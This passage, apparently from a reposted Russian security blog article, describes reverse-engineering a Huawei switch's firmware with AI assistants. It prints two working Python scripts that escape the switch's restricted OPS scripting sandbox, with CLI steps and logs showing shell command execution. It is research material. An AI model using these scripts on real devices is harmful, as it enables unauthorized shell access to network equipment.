\u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u044f \u043d\u0435\u0443\u0434\u0430\u0447, \u0432 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u0431\u044b\u043b\u043e \u0431\u044b \u043c\u043d\u043e\u0433\u043e \u0441\u0432\u044f\u0437\u043e\u043a \u043a\u0443\u0441\u043e\u043a asm -&gt; \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c (\u0438\u043b\u0438 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442, \u0442\u0443\u043f\u0438\u043a). \u0417\u0434\u0435\u0441\u044c \u044d\u0442\u043e \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u043d\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u0441\u0447\u0438\u0442\u0430\u044f \u044d\u0442\u043e \u0440\u0443\u0442\u0438\u043d\u043e\u0439, \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0418\u0418.<\/p>\n<\/div>\n<p>\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/1067244\/\">https:\/\/habr.com\/ru\/articles\/1067244\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0412 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u0431\u044b\u043b\u043e \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043d\u043e \u043a\u0430\u043a \u201c\u0432 \u0442\u0440\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u201d \u0431\u044b\u043b \u043f\u043e\u043b\u0443\u0447\u0435\u043d shell \u0434\u043b\u044f \u0441\u0432\u0438\u0442\u0447\u0430 SNR-2990X-24FQ (OEM DCN), \u0432 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043d\u043e \u043e \u0431\u043e\u043b\u0435\u0435 \u0441\u043b\u043e\u0436\u043d\u043e\u043c \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433\u0435 \u0441\u0432\u0438\u0442\u0447\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u0442\u043e\u043f-\u0432\u0435\u043d\u0434\u043e\u0440\u043e\u0432 \u0432 \u043c\u0438\u0440\u0435 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0441\u0430\u043c\u0430 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0430 \u0443\u0436\u0435 \u0443\u0441\u0442\u0430\u0440\u0435\u043b\u0430 (\u043d\u043e\u044f\u0431\u0440\u044c 2021 \u0433\u043e\u0434\u0430), \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0435 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0441\u0451 \u0435\u0449\u0451 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438 \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c\u043e\u0433\u043e \u043c\u0435\u0442\u043e\u0434\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0448\u0438\u0440\u0435, \u0447\u0435\u043c \u043e\u0434\u0438\u043d \u0441\u0432\u0438\u0442\u0447 \u0441 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0435\u0439 \u041f\u041e. \u0427\u0442\u043e \u0438\u043c\u0435\u0435\u043c \u043d\u0430 \u0441\u0442\u0430\u0440\u0442\u0435: \u0441\u0432\u0438\u0442\u0447 Huawei S6330-H48X6C, \u041f\u041e V200R021C00SPC100, \u043f\u0430\u0442\u0447 V200R021SPH180.\u0414\u0438\u0441\u043a\u043b\u0435\u0439\u043c\u0435\u0440: \u041e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0443\u0436\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u0430\u0432 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0438 \u043d\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u043d \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0430 \u043d\u0435 \u043a\u0430\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\u0412 \u0434\u0430\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u041f\u041e shell \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d, \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 diagnose \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 shell-command.\u041d\u0430\u0447\u0430\u043b\u043e \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433\u0430: \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u043c \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0441\u043e \u0441\u0432\u0438\u0442\u0447\u0430 (.cc-\u0444\u0430\u0439\u043b), \u043e\u0442\u0434\u0430\u0451\u043c \u0435\u0451 DeepSeek v4 Pro (Ultra) (\u0447\u0435\u0440\u0435\u0437 \u0440\u043e\u0434\u043d\u043e\u0439 \u0434\u043b\u044f \u043d\u0435\u0433\u043e kun-agent) \u043d\u0430 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0443, \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e \u0442\u043e\u043c\u0443, \u043a\u0430\u043a \u044d\u0442\u043e \u0434\u0435\u043b\u0430\u043b\u043e\u0441\u044c \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435, \u043a\u0430\u043a\u0438\u0445-\u0442\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0449\u0438\u0442 \u043e\u0442 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0438 \u043d\u0435\u0442, \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0451 \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043e\u0434\u043d\u0438\u043c binwalk, \u043d\u043e deepseek \u043f\u043e\u0442\u043e\u043c \u0440\u0430\u0441\u0441\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u0442 \u0444\u0430\u0439\u043b\u044b \u0438 \u0441\u0434\u0435\u043b\u0430\u0435\u0442 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043a \u043d\u0438\u043c. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f DeepSeek \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u043d \u043e\u0447\u0435\u043d\u044c \u0434\u0451\u0448\u0435\u0432 \u0438 \u0435\u0433\u043e \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u0445\u0432\u0430\u0442\u0430\u0435\u0442 \u043d\u0430 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438.\u0414\u0430\u043b\u0435\u0435, \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432 \u043f\u043e\u0440\u044f\u0434\u043a\u0435 \u0432\u043e\u0437\u0440\u0430\u0441\u0442\u0430\u043d\u0438\u044f \u0438\u0445 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u0438: DeepSeek, Cursor Composer 2.5, \u0437\u0430\u0442\u0435\u043c GLM-5.2 (MAX) \u0447\u0435\u0440\u0435\u0437 ZCode. \u041f\u0435\u0440\u0432\u044b\u0435 \u0434\u0432\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430, \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0432 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443, \u043d\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432, \u0430 GLM \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b \u043f\u0435\u0440\u0441\u043f\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f shell &#8212; \u043d\u0430 \u0441\u0432\u0438\u0442\u0447\u0435 \u0435\u0441\u0442\u044c \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0430 OPS, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c python-\u0441\u043a\u0440\u0438\u043f\u0442\u044b \u043d\u0430 \u0441\u0432\u0438\u0442\u0447\u0435 \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 ZTP (zero touch provisioning). \u041a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0431\u044b, \u0437\u0430\u043b\u0438\u0432\u0430\u0435\u043c python-\u0441\u043a\u0440\u0438\u043f\u0442 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0433\u043e shell-\u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043d\u043e \u0434\u0430\u043d\u043d\u0430\u044f \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0435\u043c python-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 python, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0451 \u0443\u0434\u0430\u043b\u0435\u043d\u043e, \u0430 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u0430\u043c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u0433\u043e \u0441\u043f\u0438\u0441\u043a\u0430, \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d, \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u0437\u044f\u0442\u044c \u0438 \u0432\u044b\u0437\u0432\u0430\u0442\u044c os.execv() \u043d\u0435\u043b\u044c\u0437\u044f: \u0435\u0451 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435\u0442 (\u043a\u0430\u043a \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0441\u0442\u044b\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0442\u0438\u043f\u0430 system() \u0438\u043b\u0438 popen()).\u0414\u0430\u043b\u0435\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e GLM. \u041f\u0440\u043e\u0441\u0438\u043c \u0418\u0418 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443 (\u0442\u0435\u0441\u0442\u043e\u0432\u044b\u043c \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c) \u0438 \u043f\u043e\u043d\u044f\u0442\u044c \u043a\u0430\u043a\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0432\u0441\u0451-\u0442\u0430\u043a\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u044b, \u0430 \u043a\u0430\u043a\u0438\u0435 \u043d\u0435\u0442. \u041f\u0435\u0440\u0432\u0430\u044f \u043d\u0430\u0445\u043e\u0434\u043a\u0430 &#8212; os.posix_spawn \u043d\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0430, \u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0451 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \/bin\/sh \u0438 \u0437\u0434\u0435\u0441\u044c \u0443\u043f\u0438\u0440\u0430\u0435\u043c\u0441\u044f \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e python &#8212; \u0432 libpython3.8.so \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0443\u0442\u0438 (\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u043f\u0443\u0442\u0435\u0439, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0438\u0437 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432) \u043f\u0440\u044f\u043c\u043e \u0432 \u043e\u0431\u0449\u0443\u044e C-\u0444\u0443\u043d\u043a\u0446\u0438\u044e, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0432\u0441\u0435 \u043c\u0435\u0442\u043e\u0434\u044b os.* \u0441 path-\u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u043c. \u0420\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u043f\u0443\u0442\u0435\u0439: \/mnt\/flash, \/mnt\/sd, \/mnt\/usb, \/mnt\/vhdd, \/mnt\/squash, \/usr\/lib\/, \/dev\/urandom. \u0421 \/mnt\/flash \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0438\u0437 \u0440\u043e\u0434\u043d\u043e\u0433\u043e CLI-\u0441\u0432\u0438\u0442\u0447\u0430 &#8212; \u0437\u0430\u043b\u0438\u0432\u0430\u0442\u044c \u0432 \u043d\u0435\u0433\u043e \u0444\u0430\u0439\u043b\u044b, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0435\u0440\u0435\u0437 ftp\/sftp. \u041d\u043e \u0435\u0441\u043b\u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c shell (busybox) \u0432 \/mnt\/flash, \u0442\u043e \u0443 \u043d\u0435\u0433\u043e \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 executable-\u0431\u0438\u0442\u0430 \u0438 \u043f\u0440\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 \u0440\u043e\u0434\u043d\u043e\u0439 CLI \u043d\u0435\u043b\u044c\u0437\u044f. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0440\u0435\u0448\u0430\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u0438\u043c \u0438\u0437 \u0434\u0432\u0443\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432: \u0437\u0430\u043b\u0438\u0442\u044c busybox \u0432 \/mnt\/flash \u0438 \u043f\u043e\u0442\u043e\u043c \u0447\u0435\u0440\u0435\u0437 python-\u0441\u043a\u0440\u0438\u043f\u0442 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e, \u0441\u043e\u0437\u0434\u0430\u0432 \u043d\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b \u0441 executable-\u0431\u0438\u0442\u043e\u043c, \u043b\u0438\u0431\u043e \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0441 \u0440\u043e\u0434\u043d\u043e\u0439 \u0424\u0421 \u0438\u0437 \/bin. \u0412\u0442\u043e\u0440\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0443\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0432 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e \u043f\u0443\u0442\u0435\u0439, \u043d\u043e \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0442\u0435\u043c, \u0447\u0442\u043e \u043e\u043d\u0430 \u043d\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043a \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 open() (\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043a os.open()). \u0421\u043a\u0440\u0438\u043f\u0442 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f bash (\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f busybox) \u0432 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 \u0434\u043b\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0435\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 os.posix_spawn():i.py (\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 busybox \u0432 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433)import opsimport osdef ops_condition(_ops):    _ops.timer.countdown(&#171;t&#187;, 3)    return 0def ops_execute(_ops):    o = _ops    src = &#171;\/bin\/busybox.nosuid&#187;    dst = &#171;\/mnt\/flash\/$_user\/bash&#187;    # Copy \/bin\/busybox.nosuid to whitelist path with exec bit.    # &#8212; builtin open() reads any path (bypasses whitelist stat-patch)    # &#8212; os.open in whitelist path creates file with mode 0o755 (exec bit)    # &#8212; os.sendfile copies in-kernel (no OOM risk under 90MB cgroup)    try:        fin = open(src, &#171;rb&#187;)        sfd = fin.fileno()        dfd = os.open(dst, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o755)        total = 0        while True:            n = os.sendfile(dfd, sfd, None, 1048576)            if n == 0:                break            total += n        os.close(dfd)        fin.close()        o.syslog(&#171;COPY_OK bytes=%d&#187; % total, ops.CRITICAL, ops.SYSLOG)    except Exception as e:        o.syslog(&#171;COPY_ERR &#187; + repr(e)[:200], ops.CRITICAL, ops.SYSLOG)        o.result(1)        return 1    o.result(0)    return 0\u0414\u043b\u044f \u0442\u0435\u0445 \u043a\u0442\u043e \u043d\u0435 \u0437\u043d\u0430\u043a\u043e\u043c \u0441 busybox \u0438 \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0435\u0439 applet: \u0435\u0441\u043b\u0438 \u0444\u0430\u0439\u043b busybox \u043d\u0430\u0437\u0432\u0430\u0442\u044c bash \u0438\u043b\u0438 ash, \u043e\u043d \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043a\u0430\u043a shell, \u0430 \u0435\u0441\u043b\u0438 \u043d\u0430\u0437\u0432\u0430\u0442\u044c ls, \u0442\u043e \u043a\u0430\u043a ls, \u0442.\u0435. \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c \u043b\u0438\u0441\u0442\u0438\u043d\u0433 \u0444\u0430\u0439\u043b\u043e\u0432. \u041e\u0431\u044b\u0447\u043d\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u0437\u0430 \u0441\u0447\u0451\u0442 \u0441\u0438\u043c\u043b\u0438\u043d\u043a\u043e\u0432, \u043d\u043e \u043c\u043e\u0436\u043d\u043e \u0438 \u043f\u0443\u0442\u0451\u043c \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\u041f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043d\u0430 \u0441\u0432\u0438\u0442\u0447\u0435:# \u0437\u0430\u043b\u0438\u0432\u0430\u0435\u043c \u0444\u0430\u0439\u043b \u043d\u0430 \u0441\u0432\u0438\u0442\u0447, \u0434\u0430\u043b\u0435\u0435&lt;HUAWEI&gt;ops install file ftp\/i.pyInfo: The script file flash:\/ftp\/i.py is installed on the device successfully.&lt;HUAWEI&gt;sys[HUAWEI]ops[HUAWEI-ops]script-assistant python i.pyInfo: Executing user script&#8230; Please wait&#8230;Info: The script assistant i.py is installed on the device successfully.\u0412 \u043b\u043e\u0433\u0435 \u0432\u0438\u0434\u0438\u043c \u0442\u0430\u043a\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435:%%01OPSA\/2\/SCRIPT_LOG(l)[0]:OPS: COPY_OK bytes=829144 (user=&#187;i.py&#187;, session=836255288)\u0422\u0435\u043f\u0435\u0440\u044c \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u201cbash\u201d \u0447\u0435\u0440\u0435\u0437 \u0432\u0442\u043e\u0440\u043e\u0439 OPS-\u0441\u043a\u0440\u0438\u043f\u0442:r.py (\u0437\u0430\u043f\u0443\u0441\u043a \u043a\u043e\u043c\u0430\u043d\u0434: echo HELLO; id; uname -a; pwd)import opsimport osimport timedef ops_condition(_ops):    _ops.timer.countdown(&#171;t&#187;, 3)    return 0def ops_execute(_ops):    o = _ops    dst = &#171;\/mnt\/flash\/$_user\/bash&#187;    out = &#171;\/mnt\/flash\/_cmd.out&#187;    # Run a shell command via busybox bash applet.    # stdout+stderr captured to file via posix_spawn file_actions.    # Result read back via builtin open() and logged via syslog.    cmd = &#171;echo HELLO; id; uname -a; pwd&#187;    try:        os.unlink(out)    except Exception:        pass    dfd = os.open(out, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o644)    actions = [        (os.POSIX_SPAWN_DUP2, dfd, 1),        (os.POSIX_SPAWN_DUP2, dfd, 2),        (os.POSIX_SPAWN_CLOSE, dfd),    ]    argv = [dst, &#171;-c&#187;, cmd]    pid = os.posix_spawn(argv[0], argv, {}, file_actions=actions)    os.close(dfd)    deadline = time.time() + 3    while time.time() &lt; deadline:        try:            wpid, status = os.waitpid(pid, os.WNOHANG)            if wpid != 0:                break        except ChildProcessError:            break        time.sleep(0.1)    time.sleep(0.2)    try:        with open(out, &#171;rb&#187;) as f:            o.syslog(&#171;OUT &#187; + repr(f.read(460)), ops.CRITICAL, ops.SYSLOG)    except Exception as e:        o.syslog(&#171;OUT_ERR &#187; + repr(e)[:150], ops.CRITICAL, ops.SYSLOG)    o.result(0)    return 0\u0414\u0435\u043f\u043b\u043e\u0439 \u044d\u0442\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u0447\u043d\u043e \u0442\u0430\u043a\u0436\u0435 \u043a\u0430\u043a \u0438 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e, \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0438\u0437 \u043b\u043e\u0433\u0430:%%01OPSA\/2\/SCRIPT_LOG(l)[0]:OPS: OUT b&#8217;HELLO\\nuid=102(normal) gid=102(normalg) groups=0(root)\\nLinux localhost 4.4.240 #1 SMP PREEMPT Fri Jul 2 17:52:12 CST 2021 aarch64 GNU\/Linux\\n\/usr\\n&#8217; (user=&#187;r.py&#187;, session=836255520)\u041a\u0430\u043a \u0432\u0438\u0434\u043d\u043e, \u0441\u043a\u0440\u0438\u043f\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0438\u0437-\u043f\u043e\u0434 root, \u0430 \u043f\u043e\u0434 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c normal (102).\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 root shell \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u043f\u0440\u043e\u0441\u0442\u044b\u043c, \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 \u0435\u0441\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442 IAM_Huawei_Comm.sh, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0447\u0435\u043c-\u0442\u043e \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442 